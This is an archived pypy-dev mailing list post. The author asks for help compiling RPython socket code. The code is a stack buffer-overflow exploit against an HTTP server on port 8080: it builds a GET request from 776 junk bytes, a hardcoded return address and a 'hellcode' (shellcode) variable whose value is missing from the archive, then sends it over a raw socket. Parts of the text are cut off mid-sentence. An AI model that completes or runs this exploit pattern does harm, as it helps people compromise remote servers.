[pypy-dev] pypy rsocket problem

Andrew Evans andrew.rustytub at gmail.com
Sun Feb 5 06:04:19 CET 2012

This is actually what I wanted to do with ptr, sorry I had to confirm with
a friend of mine before posting again. The hex code should be cast to a

The problem I am facing is compiling using rsocket if I remove the send and
connect and INETAddress bits it compiles but as soon as I add INETAddress
it refuses to compile

What should I be doing instead?


def main(argv):
    PORT = 8080
    JUNK = "A"
    ret = "\x67\x42\xa7\x71"
    hellcode =

    request = "GET /"
    for i in range(776):
        request = request + JUNK
    request = request + ret
    request = request + hellcode
    request = request + " HTTP/1.1"
    request = request + "\r\n"
    ptr = rffi.cast(rffi.CCHARP, hellcode)  # returns a "char*" pointer
    #print ptr
    #print len(request)
    s = rsocket.RSocket(rsocket.AF_INET, rsocket.SOCK_STREAM)
    target = rsocket.INETAddress("", 8080)
    s.send(ptr, len(request))
    return 0
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/pypy-dev/attachments/20120204/bb0e9d1c/attachment.html>

More information about the pypy-dev mailing list